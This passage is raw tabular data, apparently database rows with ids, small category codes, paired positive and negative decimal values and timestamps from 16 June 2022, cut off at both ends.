11:16:43.923333+00 +19337,4,8024,10.25371718,-10.25371718,2022-06-16 11:16:46.563535+00 +23112,1,8793,10.00123368,-10.00123368,2022-06-16 11:37:23.055052+00 +23113,1,8753,10.06071422,-10.06071422,2022-06-16 11:37:23.056085+00 +23114,1,8625,10.02387722,-10.02387722,2022-06-16 11:37:23.056873+00 +21985,4,8688,0.658116643,0,2022-06-16 11:32:05.63953+00 +21986,4,8704,2.536391097,-2.536391097,2022-06-16 11:32:05.643914+00 +23115,1,8689,9.987238953,-9.987238953,2022-06-16 11:37:23.057666+00 +20345,1,8352,7.745876945,-7.745876945,2022-06-16 11:23:04.933971+00 +23116,1,8729,9.917493926,-9.917493926,2022-06-16 11:37:23.058434+00 +23117,1,8570,21.45209006,-21.45209006,2022-06-16 11:37:23.05911+00 +22058,4,8504,9.054020854,-9.054020854,2022-06-16 11:32:28.677801+00 +22073,6,8682,12.77947517,-12.77947517,2022-06-16 11:33:01.959023+00 +23118,1,8617,9.794032006,-9.794032006,2022-06-16 11:37:23.059766+00 +23119,1,8745,9.758541674,-9.758541674,2022-06-16 11:37:23.060402+00 +20418,6,8430,14.07472597,-14.07472597,2022-06-16 11:23:40.441907+00 +23120,1,8761,9.76367202,-9.76367202,2022-06-16 11:37:23.061022+00 +23121,1,8665,9.835775192,-9.835775192,2022-06-16 11:37:23.061648+00 +23122,1,8538,21.37895939,-21.37895939,2022-06-16 11:37:23.062292+00 +20448,1,8405,14.80890996,-14.80890996,2022-06-16 11:23:59.003062+00 +20449,1,8296,18.54656022,-18.54656022,2022-06-16 11:23:59.006456+00 +23123,1,8681,9.693039986,-9.693039986,2022-06-16 11:37:23.062932+00 +23124,1,8562,20.32113151,-20.32113151,2022-06-16 11:37:23.0636+00 +23125,1,8601,9.785170796,-9.785170796,2022-06-16 11:37:23.064236+00 +23126,1,8697,9.683251064,-9.683251064,2022-06-16 11:37:23.064858+00 +20490,4,8432,0.716992205,-0.716992205,2022-06-16 11:24:06.175315+00 +20491,4,8448,2.706204325,-2.706204325,2022-06-16 11:24:06.1789+00 +20499,3,8381,10.66232111,-10.66232111,2022-06-16 11:24:10.904811+00 +20501,3,8445,10.58042194,-10.58042194,2022-06-16 11:24:11.07728+00 +23127,1,8554,15.75157426,-15.75157426,2022-06-16 11:37:23.06558+00 +23128,1,8825,9.648430435,-9.648430435,2022-06-16 11:37:23.06625+00 +23129,1,8817,9.813996639,-9.813996639,2022-06-16 11:37:23.066887+00 +24725,6,9117,8.413852104,-8.413852104,2022-06-16 11:44:44.725548+00 +24762,1,9082,19.6205274,-19.6205274,2022-06-16 11:44:50.089172+00 +24763,1,9074,18.51570493,-18.51570493,2022-06-16 11:44:50.090527+00 +24764,1,9066,13.65973929,-13.65973929,2022-06-16 11:44:50.091518+00 +24765,1,9050,19.44653759,-19.44653759,2022-06-16 11:44:50.092437+00 +34846,2,10560,4.341757056,-4.341757056,2022-06-16 12:31:04.647861+00 +28396,4,9400,8.652993877,-8.652993877,2022-06-16 11:58:02.932071+00 +37305,3,10813,7.085756058,-7.085756058,2022-06-16 12:44:32.809456+00 +28469,4,9464,8.623192335,-8.623192335,2022-06-16 11:58:12.464359+00 +22341,3,8814,16.61027428,-16.61027428,2022-06-16 11:34:05.811331+00 +32686,6,10253,12.87097868,-12.87097868,2022-06-16 12:20:02.478774+00 +23344,6,8941,4.109963056,-4.109963056,2022-06-16 11:38:15.38705+00 +20589,6,8448,6.304974831,-6.304974831,2022-06-16 11:24:23.713155+00 +34892,6,10539,4.769235161,-4.769235161,2022-06-16 12:31:13.130525+00 +23375,6,8958,10.15517558,-10.15517558,2022-06-16 11:38:18.437237+00 +20612,4,8280,10.11750458,-10.11750458,2022-06-16 11:24:29.710419+00 +22389,4,8701,5.753782922,-5.753782922,2022-06-16 11:34:08.436124+00 +22391,4,8765,5.734313158,-5.734313158,2022-06-16 11:34:08.439427+00 +20628,1,8479,8.125600275,-8.125600275,2022-06-16 11:24:50.003661+00 +20629,1,8478,8.197465256,-8.197465256,2022-06-16 11:24:50.007116+00 +20630,1,8510,6.831666619,-6.831666619,2022-06-16 11:24:50.008036+00 +20631,1,8511,6.578784882,-6.578784882,2022-06-16 11:24:50.009106+00 +20632,1,8495,8.625908654,-8.625908654,2022-06-16 11:24:50.009923+00 +20633,1,8494,8.655724475,-8.655724475,2022-06-16 11:24:50.010771+00 +22392,4,8685,5.582254361,-5.582254361,2022-06-16 11:34:08.440458+00 +22393,4,8749,5.563571144,-5.563571144,2022-06-16 11:34:08.441238+00 +56366,3,14250,4.599502641,-4.599502641,2022-06-16 14:27:02.260513+00 +20689,3,8496,2.602007902,0,2022-06-16 11:25:05.241225+00 +48934,3,12987,6.077091631,-6.077091631,2022-06-16 13:46:20.396322+00 +22727,3,8813,9.717454008,-9.717454008,2022-06-16 11:36:02.316557+00 +24515,6,8763,6.011965836,-6.011965836,2022-06-16 11:43:35.19046+00 +24516,6,8827,5.98997526,-5.98997526,2022-06-16 11:43:35.193841+00 +20696,2,8511,7.735755585,-7.735755585,2022-06-16 11:25:05.416839+00 +24517,6,8891,5.968104755,-5.968104755,2022-06-16 11:43:35.194728+00 +20698,2,8495,10.00447314,-10.00447314,2022-06-16 11:25:05.443332+00 +20699,6,8426,13.32945712,-13.32945712,2022-06-16 11:25:06.653068+00 +21366,3,8640,8.779795329,-8.779795329,2022-06-16 11:28:59.972362+00 +24518,6,8955,5.946353442,-5.946353442,2022-06-16 11:43:35.19558+00 +24519,6,9019,5.924720448,-5.924720448,2022-06-16 11:43:35.196347+00 +37291,1,11000,7.643192716,-7.643192716,2022-06-16 12:44:26.436594+00 +22928,4,8819,10.69450871,-10.69450871,2022-06-16 11:36:23.179012+00 +22929,4,8827,3.234151998,-3.234151998,2022-06-16 11:36:23.182321+00 +22930,4,8779,13.52422693,-13.52422693,2022-06-16 11:36:23.183242+00 +22931,4,8811,3.305920787,-3.305920787,2022-06-16 11:36:23.184093+00 +22932,4,8795,4.770072841,-4.770072841,2022-06-16 11:36:23.184896+00 +32484,6,10214,21.68202618,-21.68202618,2022-06-16 12:18:41.66544+00 +24642,6,9088,5.797929007,-5.797929007,2022-06-16 11:44:15.73475+00 +28323,6,9517,3.354598544,-3.354598544,2022-06-16 11:57:39.418159+00 +23061,2,8862,8.780422478,-8.780422478,2022-06-16 11:37:04.804169+00 +34796,4,10515,7.578168679,-7.578168679,2022-06-16 12:30:29.242179+00 +21751,6,8701,4.618551465,-4.618551465,2022-06-16 11:30:50.345432+00 +32550,2,10160,1.609897229,0,2022-06-16 12:19:04.556727+00 +23130,4,8760,8.861384928,-8.861384928,2022-06-16 11:37:23.440515+00 +34797,4,10582,15.98066958,-15.98066958,2022-06-16 12:30:29.245568+00 +34798,4,10574,17.91821002,-17.91821002,2022-06-16 12:30:29.24641+00 +37292,1,10992,0.579221955,0,2022-06-16 12:44:26.440051+00 +37293,1,10968,8.434216009,-8.434216009,2022-06-16 12:44:26.440885+00 +52802,1,13678,2.018677143,-2.018677143,2022-06-16 14:06:44.840073+00 +32773,4,10069,13.24276729,-13.24276729,2022-06-16 12:20:13.626245+00 +30678,6,9811,14.30422412,-14.30422412,2022-06-16 12:09:17.770096+00 +30706,3,9904,2.622994376,0,2022-06-16 12:09:32.56867+00 +32807,4,10203,4.400684505,-4.400684505,2022-06-16 12:20:21.579736+00 +32808,4,10235,2.055427,-2.055427,2022-06-16 12:20:21.581195+00 +22006,4,8750,9.034576937,-9.034576937,2022-06-16 11:32:09.73457+00 +22007,4,8751,8.72025602,-8.72025602,2022-06-16 11:32:09.738099+00 +22008,4,8702,7.112614406,-7.112614406,2022-06-16 11:32:09.739219+00 +22009,4,8766,7.087123524,-7.087123524,2022-06-16 11:32:09.740025+00 +22010,4,8703,6.667596096,-6.667596096,2022-06-16 11:32:09.740819+00 +22011,4,8670,9.113106604,-9.113106604,2022-06-16 11:32:09.741577+00 +22012,4,8734,9.077919242,-9.077919242,2022-06-16 11:32:09.742382+00 +22013,4,8735,8.731855796,-8.731855796,2022-06-16 11:32:09.74329+00 +23345,4,8942,8.58414145,-8.58414145,2022-06-16 11:38:16.86677+00 +23346,4,8943,8.277885471,-8.277885471,2022-06-16 11:38:16.870273+00 +22052,6,8704,6.075088422,-6.075088422,2022-06-16 11:32:19.926195+00 +22074,1,8696,10.18127274,-10.18127274,2022-06-16 11:33:02.020104+00 +23347,4,8958,6.735329503,-6.735329503,2022-06-16 11:38:16.871106+00 +37431,6,11038,11.05273425,-11.05273425,2022-06-16 12:45:10.281342+00 +22132,6,8741,14.36433074,-14.36433074,2022-06-16 11:33:08.334883+00 +42970,6,11883,3.579339463,-3.579339463,2022-06-16 13:12:27.962942+00 +23386,4,8883,10.60854187,-10.60854187,2022-06-16 11:38:19.959932+00 +23387,4,8875,3.267451635,-3.267451635,2022-06-16 11:38:19.961168+00 +23388,4,8843,13.4430602,-13.4430602,2022-06-16 11:38:19.962243+00 +23389,4,8891,3.176975373,-3.176975373,2022-06-16 11:38:19.963263+00 +23390,4,8800,6.307544592,-6.307544592,2022-06-16 11:38:19.964089+00 +23391,4,8859,4.725813137,-4.725813137,2022-06-16 11:38:19.9648+00 +25149,3,9215,13.20700186,-13.20700186,2022-06-16 11:46:44.554817+00 +40040,1,11420,15.43303989,-15.43303989,2022-06-16 12:58:56.55046+00 +40041,1,11444,15.39915077,-15.39915077,2022-06-16 12:58:56.554222+00 +30904,4,9875,8.126512334,-8.126512334,2022-06-16 12:10:28.366586+00 +23482,2,8896,5.316421348,-5.316421348,2022-06-16 11:39:04.94422+00 +25221,1,9189,16.08535428,-16.08535428,2022-06-16 11:47:05.110919+00 +22277,3,8831,13.77997816,-13.77997816,2022-06-16 11:34:04.042352+00 +35123,4,10603,2.109341743,-2.109341743,2022-06-16 12:32:22.148259+00 +35124,4,10587,4.429230524,-4.429230524,2022-06-16 12:32:22.151769+00 +27252,2,9406,5.718446389,-5.718446389,2022-06-16 11:53:09.508356+00 +30961,4,9656,8.592054403,-8.592054403,2022-06-16 12:10:49.350616+00 +40042,1,11452,15.36473037,-15.36473037,2022-06-16 12:58:56.55506+00 +40043,1,11436,15.32830108,-15.32830108,2022-06-16 12:58:56.555924+00 +37759,4,11057,14.47441673,-14.47441673,2022-06-16 12:47:10.741143+00 +22353,3,8621,9.948659246,-9.948659246,2022-06-16 11:34:06.061811+00 +28956,2,9642,7.527391375,-7.527391375,2022-06-16 12:00:20.650327+00 +27362,3,9391,15.52330591,-15.52330591,2022-06-16 11:53:49.691235+00 +28970,1,9579,4.130699175,-4.130699175,2022-06-16 12:00:29.134434+00 +28971,1,9595,3.950195242,-3.950195242,2022-06-16 12:00:29.13573+00 +40101,2,11435,5.478964085,-5.478964085,2022-06-16 12:59:19.45527+00 +27429,6,9392,1.775483612,0,2022-06-16 11:54:05.759773+00 +23625,6,8926,12.89143987,-12.89143987,2022-06-16 11:39:55.16513+00 +27449,3,9455,15.39170305,-15.39170305,2022-06-16 11:54:07.714143+00 +42995,3,11645,6.691176724,-6.691176724,2022-06-16 13:12:36.854341+00 +43043,4,11800,8.546381053,-8.546381053,2022-06-16 13:12:48.590898+00 +25513,6,9171,14.83502534,-14.83502534,2022-06-16 11:48:26.866519+00 +27474,3,9405,9.033539107,-9.033539107,2022-06-16 11:54:16.059543+00 +46098,6,12527,5.385483384,-5.385483384,2022-06-16 13:30:20.929676+00 +23676,3,9023,13.55540945,-13.55540945,2022-06-16 11:40:04.154075+00 +22500,6,8768,6.035141837,-6.035141837,2022-06-16 11:34:29.573548+00 +25561,1,9253,16.05206168,-16.05206168,2022-06-16 11:48:53.10985+00 +52803,1,13624,5.72222258,-5.72222258,2022-06-16 14:06:44.84097+00 +37989,2,11133,5.169508953,-5.169508953,2022-06-16 12:48:19.420621+00 +25602,2,9246,8.433790727,-8.433790727,2022-06-16 11:49:04.622322+00 +43147,2,11883,5.101606889,-5.101606889,2022-06-16 13:13:14.430588+00 +25617,2,9278,5.906386373,-5.906386373,2022-06-16 11:49:04.993538+00 +29120,2,9662,5.326937415,-5.326937415,2022-06-16 12:01:05.289189+00 +49312,3,13051,6.014158373,-6.014158373,2022-06-16 13:48:21.546927+00 +31208,2,9965,5.714389198,-5.714389198,2022-06-16 12:12:14.440739+00 +38092,4,11113,13.62015728,-13.62015728,2022-06-16 12:49:10.235385+00 +38093,4,11121,14.36471788,-14.36471788,2022-06-16 12:49:10.239742+00 +35554,4,10667,2.068528855,-2.068528855,2022-06-16 12:34:28.002078+00 +31286,6,10029,2.913129178,-2.913129178,2022-06-16 12:12:34.84995+00 +23776,6,8989,8.658623224,-8.658623224,2022-06-16 11:40:08.354669+00 +25710,2,9211,6.953880077,-6.953880077,2022-06-16 11:49:14.440868+00 +35555,4,10651,4.421700379,-4.421700379,2022-06-16 12:34:28.005875+00 +23791,4,9023,6.251030262,-6.251030262,2022-06-16 11:40:10.531666+00 +23792,4,8926,8.862158985,-8.862158985,2022-06-16 11:40:10.534866+00 +23793,4,8990,8.828413145,-8.828413145,2022-06-16 11:40:10.535741+00 +23794,4,8927,8.52431028,-8.52431028,2022-06-16 11:40:10.536498+00 +23795,4,8991,8.492815714,-8.492815714,2022-06-16 11:40:10.537241+00 +23800,6,8997,13.89366369,-13.89366369,2022-06-16 11:40:12.316237+00 +29241,3,9727,12.34884791,-12.34884791,2022-06-16 12:02:04.263148+00 +35601,4,10616,8.190563436,-8.190563436,2022-06-16 12:34:51.981819+00 +52804,1,13592,6.273931849,-6.273931849,2022-06-16 14:06:44.841782+00 +27751,1,9386,11.93136891,-11.93136891,2022-06-16 11:54:38.104023+00 +23824,6,9021,4.110299241,-4.110299241,2022-06-16 11:40:17.267519+00 +23826,4,8947,10.52376684,-10.52376684,2022-06-16 11:40:19.597647+00 +23827,4,8923,4.698408791,-4.698408791,2022-06-16 11:40:19.598915+00 +20700,1,8360,18.48286895,-18.48286895,2022-06-16 11:25:07.978777+00 +22580,2,8752,1.541119425,0,2022-06-16 11:35:04.450829+00 +21064,6,8533,12.73018064,-12.73018064,2022-06-16 11:27:06.873702+00 +32163,2,10143,8.26336076,-8.26336076,2022-06-16 12:17:04.933731+00 +32164,2,10158,6.119897871,-6.119897871,2022-06-16 12:17:04.937039+00 +45628,4,12248,8.37579046,-8.37579046,2022-06-16 13:27:02.779221+00 +20706,3,8494,17.40728721,-17.40728721,2022-06-16 11:25:12.529656+00 +42627,2,11871,8.240995157,-8.240995157,2022-06-16 13:11:05.148152+00 +21271,6,8597,12.61937149,-12.61937149,2022-06-16 11:28:19.482999+00 +28226,2,9503,8.622250627,-8.622250627,2022-06-16 11:57:05.051808+00 +52468,6,13568,3.975912112,-3.975912112,2022-06-16 14:05:05.306619+00 +48935,4,12979,8.955535375,-8.955535375,2022-06-16 13:46:21.668584+00 +20712,3,8495,17.46504064,-17.46504064,2022-06-16 11:25:12.694915+00 +37294,6,10730,8.164887033,-8.164887033,2022-06-16 12:44:28.263785+00 +21433,3,8573,10.3612791,-10.3612791,2022-06-16 11:29:11.987612+00 +32487,6,10221,2.74769718,-2.74769718,2022-06-16 12:18:42.14905+00 +32526,4,10040,8.463077863,-8.463077863,2022-06-16 12:18:50.980487+00 +20717,2,8427,7.647427271,-7.647427271,2022-06-16 11:25:14.447832+00 +30509,2,9837,5.784523557,-5.784523557,2022-06-16 12:08:14.402805+00 +32540,4,10104,8.437660099,-8.437660099,2022-06-16 12:18:58.047948+00 +22992,6,8894,10.28804083,-10.28804083,2022-06-16 11:36:41.016787+00 +34799,3,10301,7.565496162,-7.565496162,2022-06-16 12:30:32.085401+00 +20722,2,8443,7.480812934,-7.480812934,2022-06-16 11:25:14.570021+00 +37306,1,10978,14.66189789,-14.66189789,2022-06-16 12:44:35.40831+00 +20724,3,8446,14.78058146,-14.78058146,2022-06-16 11:25:17.207516+00 +20725,3,8510,14.6916398,-14.6916398,2022-06-16 11:25:17.210873+00 +28590,6,9565,7.945308012,-7.945308012,2022-06-16 11:59:02.120934+00 +37307,1,11055,4.483610696,-4.483610696,2022-06-16 12:44:35.409603+00 +30651,2,9918,4.98046191,-4.98046191,2022-06-16 12:09:05.357014+00 +20729,3,8382,14.60331297,-14.60331297,2022-06-16 11:25:17.29503+00 +21722,2,8621,6.998682012,-6.998682012,2022-06-16 11:30:24.407714+00 +37308,1,10986,6.481235017,-6.481235017,2022-06-16 12:44:35.410454+00 +27039,2,9386,8.019550812,-8.019550812,2022-06-16 11:52:28.566448+00 +21776,2,8670,9.051440675,-9.051440675,2022-06-16 11:31:04.85983+00 +20734,3,8383,14.4877026,-14.4877026,2022-06-16 11:25:17.384976+00 +20735,3,8447,14.39995292,-14.39995292,2022-06-16 11:25:17.388592+00 +20737,3,8511,14.31282252,-14.31282252,2022-06-16 11:25:17.389695+00 +30679,6,9835,5.090392606,-5.090392606,2022-06-16 12:09:18.016467+00 +37365,4,10904,8.90952749,-8.90952749,2022-06-16 12:44:58.31933+00 +28731,6,9583,10.25870075,-10.25870075,2022-06-16 11:59:22.925372+00 +42794,3,11888,2.66221532,0,2022-06-16 13:11:34.552353+00 +20741,6,8478,13.48000748,-13.48000748,2022-06-16 11:25:17.502275+00 +27147,6,9389,3.488407192,-3.488407192,2022-06-16 11:52:45.926124+00 +48936,4,12939,13.50868061,-13.50868061,2022-06-16 13:46:21.672152+00 +25199,2,9152,5.157665546,-5.157665546,2022-06-16 11:47:04.600754+00 +25200,2,9182,8.417613421,-8.417613421,2022-06-16 11:47:04.605279+00 +30783,6,9933,13.31691707,-13.31691707,2022-06-16 12:10:05.851717+00 +20747,6,8479,13.43441838,-13.43441838,2022-06-16 11:25:17.642984+00 +40044,1,11442,13.40327895,-13.40327895,2022-06-16 12:58:59.582967+00 +32916,2,10224,1.618738549,0,2022-06-16 12:21:04.634622+00 +40045,1,11428,15.29944687,-15.29944687,2022-06-16 12:58:59.586269+00 +25283,2,9147,6.99757933,-6.99757933,2022-06-16 11:47:14.522754+00 +25312,4,8992,6.235955746,-6.235955746,2022-06-16 11:47:33.985875+00 +20753,6,8494,13.84534829,-13.84534829,2022-06-16 11:25:17.972844+00 +22053,1,8765,5.730963055,-5.730963055,2022-06-16 11:32:19.985972+00 +32956,2,10302,4.653948382,-4.653948382,2022-06-16 12:21:05.462089+00 +30905,3,9661,8.431020452,-8.431020452,2022-06-16 12:10:29.533048+00 +22115,2,8751,9.223612048,-9.223612048,2022-06-16 11:33:05.120315+00 +23499,2,8927,9.077268131,-9.077268131,2022-06-16 11:39:05.336056+00 +20759,6,8495,13.85744686,-13.85744686,2022-06-16 11:25:18.116988+00 +30907,4,9824,6.277674425,-6.277674425,2022-06-16 12:10:32.435194+00 +20761,6,8510,11.30795167,-11.30795167,2022-06-16 11:25:18.242417+00 +30933,6,9951,11.39996495,-11.39996495,2022-06-16 12:10:41.440323+00 +35163,6,10579,13.84940828,-13.84940828,2022-06-16 12:32:30.429214+00 +37585,6,11056,1.891317026,0,2022-06-16 12:46:12.692313+00 +22189,2,8699,7.290227434,-7.290227434,2022-06-16 11:33:14.4224+00 +30962,1,9981,4.474190863,-4.474190863,2022-06-16 12:10:50.187962+00 +29013,3,9647,15.05502317,-15.05502317,2022-06-16 12:00:53.755459+00 +30963,1,9965,4.346226794,-4.346226794,2022-06-16 12:10:50.189123+00 +25462,1,9200,0.728988805,0,2022-06-16 11:48:11.079308+00 +25463,1,9216,2.546562522,-2.546562522,2022-06-16 11:48:11.082478+00 +20771,6,8511,11.00370752,-11.00370752,2022-06-16 11:25:18.509234+00 +22245,6,8766,10.66061647,-10.66061647,2022-06-16 11:33:25.956802+00 +23586,1,8864,7.21884781,-7.21884781,2022-06-16 11:39:38.101876+00 +23587,1,8856,10.8649975,-10.8649975,2022-06-16 11:39:38.105124+00 +22267,3,8637,10.23475476,-10.23475476,2022-06-16 11:34:03.774336+00 +22279,3,8765,10.12225735,-10.12225735,2022-06-16 11:34:04.106097+00 +35212,1,10586,15.43839032,-15.43839032,2022-06-16 12:32:56.379421+00 +25486,4,9247,8.10658848,-8.10658848,2022-06-16 11:48:19.31167+00 +25487,4,9246,8.296769367,-8.296769367,2022-06-16 11:48:19.312945+00 +35213,1,10618,15.46542727,-15.46542727,2022-06-16 12:32:56.383221+00 +33085,6,10367,6.744820986,-6.744820986,2022-06-16 12:22:02.914724+00 +20782,4,8352,6.50155207,-6.50155207,2022-06-16 11:25:25.355662+00 +20783,6,8490,13.26402716,-13.26402716,2022-06-16 11:25:29.062922+00 +25536,2,9258,8.028702374,-8.028702374,2022-06-16 11:48:36.386677+00 +35224,1,10653,10.6472256,-10.6472256,2022-06-16 12:32:59.353259+00 +31054,4,9898,9.499807569,-9.499807569,2022-06-16 12:11:27.974486+00 +35247,2,10655,7.995960982,-7.995960982,2022-06-16 12:33:04.939671+00 +35248,2,10670,5.515144586,-5.515144586,2022-06-16 12:33:04.94273+00 +25588,3,9279,13.11155768,-13.11155768,2022-06-16 11:49:02.477499+00 +29158,3,9648,2.633603915,0,2022-06-16 12:01:15.983286+00 +29174,3,9664,7.454297115,-7.454297115,2022-06-16 12:01:26.921638+00 +33209,6,10304,5.09760787,-5.09760787,2022-06-16 12:22:16.192114+00 +48937,4,12955,4.221770245,-4.221770245,2022-06-16 13:46:21.673059+00 +20794,4,8416,6.483879677,-6.483879677,2022-06-16 11:25:33.992482+00 +35283,2,10619,5.516629009,-5.516629009,2022-06-16 12:33:14.527885+00 +43069,6,11904,4.230043581,-4.230043581,2022-06-16 13:12:52.093593+00 +37711,3,11136,6.073708033,-6.073708033,2022-06-16 12:46:56.413522+00 +48938,4,12971,1.095260422,-1.095260422,2022-06-16 13:46:21.673879+00 +22472,2,8765,6.947879299,-6.947879299,2022-06-16 11:34:24.327153+00 +27752,1,9128,17.61260563,-17.61260563,2022-06-16 11:54:38.107246+00 +27753,1,9192,17.55293064,-17.55293064,2022-06-16 11:54:38.108264+00 +37802,6,10963,13.79877892,-13.79877892,2022-06-16 12:47:32.38786+00 +22503,6,8781,14.54680431,-14.54680431,2022-06-16 11:34:34.667925+00 +31288,6,10045,2.998500551,-2.998500551,2022-06-16 12:12:36.724179+00 +20805,6,8397,15.03421784,-15.03421784,2022-06-16 11:25:49.755506+00 +20806,6,8461,14.9760183,-14.9760183,2022-06-16 11:25:49.75966+00 +20807,6,8405,12.92149995,-12.92149995,2022-06-16 11:25:54.730664+00 +20808,6,8469,12.8715914,-12.8715914,2022-06-16 11:25:54.734021+00 +20809,6,8413,9.329437827,-9.329437827,2022-06-16 11:25:56.572453+00 +20810,6,8477,9.295818197,-9.295818197,2022-06-16 11:25:56.575822+00 +20811,6,8421,15.00824187,-15.00824187,2022-06-16 11:25:59.76091+00 +20812,6,8485,14.95042203,-14.95042203,2022-06-16 11:25:59.764282+00 +23784,4,8877,5.445440387,-5.445440387,2022-06-16 11:40:09.129001+00 +23785,4,8941,5.42723061,-5.42723061,2022-06-16 11:40:09.132385+00 +20815,1,8408,11.47802798,-11.47802798,2022-06-16 11:26:02.011101+00 +23786,4,8893,5.587355869,-5.587355869,2022-06-16 11:40:09.133208+00 +20817,6,8573,4.955819865,-4.955819865,2022-06-16 11:26:04.079365+00 +23787,4,8957,5.568547962,-5.568547962,2022-06-16 11:40:09.133974+00 +29321,1,9626,17.72689203,-17.72689203,2022-06-16 12:02:14.166004+00 +45629,1,12321,10.0217405,-10.0217405,2022-06-16 13:27:05.660211+00 +28111,6,9456,1.776359499,0,2022-06-16 11:56:20.203199+00 +34598,6,10573,12.69560553,-12.69560553,2022-06-16 12:30:02.195199+00 +48939,1,12953,5.280164913,-5.280164913,2022-06-16 13:46:23.77399+00 +45842,6,12371,13.22193096,-13.22193096,2022-06-16 13:28:29.879937+00 +32489,6,10237,2.828286119,-2.828286119,2022-06-16 12:18:44.004081+00 +32527,1,10238,4.059619393,-4.059619393,2022-06-16 12:18:53.242686+00 +22856,6,8816,1.738807642,0,2022-06-16 11:36:08.168962+00 +22882,1,8561,10.19341403,-10.19341403,2022-06-16 11:36:11.02475+00 +22883,1,8569,9.991869283,-9.991869283,2022-06-16 11:36:11.026105+00 +22884,1,8553,9.976090773,-9.976090773,2022-06-16 11:36:11.026924+00 +22885,1,8537,10.06952477,-10.06952477,2022-06-16 11:36:11.027801+00 +32528,1,10206,7.000422108,-7.000422108,2022-06-16 12:18:53.244065+00 +32529,1,10230,11.32084773,-11.32084773,2022-06-16 12:18:53.244857+00 +28479,6,9536,5.448617828,-5.448617828,2022-06-16 11:58:13.957992+00 +24816,2,9119,8.889415969,-8.889415969,2022-06-16 11:45:04.843611+00 +24817,2,9134,7.795488407,-7.795488407,2022-06-16 11:45:04.847113+00 +32530,1,10198,15.31011291,-15.31011291,2022-06-16 12:18:53.245652+00 +24850,2,9083,7.038943283,-7.038943283,2022-06-16 11:45:14.445652+00 +32531,1,10207,7.129382041,-7.129382041,2022-06-16 12:18:53.24642+00 +32532,1,10223,5.413581596,-5.413581596,2022-06-16 12:18:53.247228+00 +32533,1,10222,5.183497351,-5.183497351,2022-06-16 12:18:53.247945+00 +21800,2,8687,9.353263005,-9.353263005,2022-06-16 11:31:05.356376+00 +37295,1,10987,3.11225953,-3.11225953,2022-06-16 12:44:29.432384+00 +21824,2,8635,7.328615252,-7.328615252,2022-06-16 11:31:14.578088+00 +37296,1,11003,2.700488802,-2.700488802,2022-06-16 12:44:29.435758+00 +39907,6,11456,4.23935657,-4.23935657,2022-06-16 12:58:14.718513+00 +45854,3,12141,5.526622258,-5.526622258,2022-06-16 13:28:35.44821+00 +20849,4,8496,0.662578408,0,2022-06-16 11:26:05.352887+00 +25034,2,9206,11.72503067,-11.72503067,2022-06-16 11:46:09.390594+00 +20851,4,8512,2.656528516,-2.656528516,2022-06-16 11:26:05.356742+00 +37485,3,10987,9.467305521,-9.467305521,2022-06-16 12:45:39.177878+00 +48940,1,12977,5.804227935,-5.804227935,2022-06-16 13:46:23.777353+00 +40046,4,11449,12.90180388,-12.90180388,2022-06-16 12:59:03.132233+00 +25128,6,9165,14.23091803,-14.23091803,2022-06-16 11:46:42.010668+00 +27148,1,9328,0.72019504,0,2022-06-16 11:52:47.135683+00 +27149,1,9344,2.466090831,-2.466090831,2022-06-16 11:52:47.138894+00 +20858,4,8445,5.971596744,-5.971596744,2022-06-16 11:26:08.939336+00 +20859,4,8509,5.951369009,-5.951369009,2022-06-16 11:26:08.942775+00 +37646,6,11118,7.223489632,-7.223489632,2022-06-16 12:46:26.253846+00 +20866,4,8429,5.779795223,-5.779795223,2022-06-16 11:26:10.735694+00 +20867,4,8493,5.760452153,-5.760452153,2022-06-16 11:26:10.736919+00 +20868,4,8414,9.092264149,-9.092264149,2022-06-16 11:26:10.737723+00 +20869,4,8478,9.057235649,-9.057235649,2022-06-16 11:26:10.738589+00 +20870,4,8542,9.022408385,-9.022408385,2022-06-16 11:26:10.73938+00 +20871,4,8415,8.985300679,-8.985300679,2022-06-16 11:26:10.740159+00 +20872,4,8479,8.950956724,-8.950956724,2022-06-16 11:26:10.740859+00 +20873,4,8543,8.916809109,-8.916809109,2022-06-16 11:26:10.741605+00 +20874,4,8510,7.377231837,-7.377231837,2022-06-16 11:26:10.742348+00 +20875,4,8574,7.35063581,-7.35063581,2022-06-16 11:26:10.743261+00 +20876,4,8575,7.086288269,-7.086288269,2022-06-16 11:26:10.743984+00 +20877,4,8511,7.061205364,-7.061205364,2022-06-16 11:26:10.744634+00 +20878,4,8494,9.353078333,-9.353078333,2022-06-16 11:26:10.745578+00 +20879,4,8558,9.31690351,-9.31690351,2022-06-16 11:26:10.746299+00 +20880,4,8559,9.293674178,-9.293674178,2022-06-16 11:26:10.747065+00 +20881,4,8431,9.257949129,-9.257949129,2022-06-16 11:26:10.747912+00 +20882,4,8495,9.222428273,-9.222428273,2022-06-16 11:26:10.748689+00 +30875,3,9982,11.93868045,-11.93868045,2022-06-16 12:10:17.82586+00 +22054,1,8741,16.62914778,-16.62914778,2022-06-16 11:32:22.986628+00 +22055,1,8749,5.547111819,-5.547111819,2022-06-16 11:32:22.987845+00 +22056,1,8733,10.67364506,-10.67364506,2022-06-16 11:32:22.988604+00 +22076,6,8725,12.43031513,-12.43031513,2022-06-16 11:33:03.195188+00 +37647,6,11119,6.983024562,-6.983024562,2022-06-16 12:46:26.256962+00 +22117,6,8733,8.849708417,-8.849708417,2022-06-16 11:33:05.130367+00 +40047,4,11417,12.99548443,-12.99548443,2022-06-16 12:59:03.135641+00 +32958,2,10303,4.804599311,-4.804599311,2022-06-16 12:21:05.48867+00 +43073,4,11833,12.02201883,-12.02201883,2022-06-16 13:12:59.510159+00 +43074,4,11897,11.96732314,-11.96732314,2022-06-16 13:12:59.513529+00 +27322,4,9322,10.92860223,-10.92860223,2022-06-16 11:53:41.318364+00 +22183,1,8664,11.10422724,-11.10422724,2022-06-16 11:33:14.021104+00 +22184,1,8672,7.331657494,-7.331657494,2022-06-16 11:33:14.022524+00 +23532,2,8875,7.299831312,-7.299831312,2022-06-16 11:39:14.40608+00 +37803,6,11027,13.73981825,-13.73981825,2022-06-16 12:47:32.390885+00 +43075,4,11881,11.94575268,-11.94575268,2022-06-16 13:12:59.514578+00 +22223,6,8735,12.94669843,-12.94669843,2022-06-16 11:33:25.119929+00 +37846,4,10848,6.100879743,-6.100879743,2022-06-16 12:47:49.339991+00 +48941,1,12968,14.77370058,-14.77370058,2022-06-16 13:46:23.778161+00 +48942,1,12969,5.188981682,-5.188981682,2022-06-16 13:46:23.779+00 +27431,3,9471,12.79038894,-12.79038894,2022-06-16 11:54:05.803327+00 +29065,6,9647,10.11272153,-10.11272153,2022-06-16 12:00:59.94607+00 +48958,4,12947,6.187262226,-6.187262226,2022-06-16 13:46:29.669213+00 +22290,6,8797,8.84732524,-8.84732524,2022-06-16 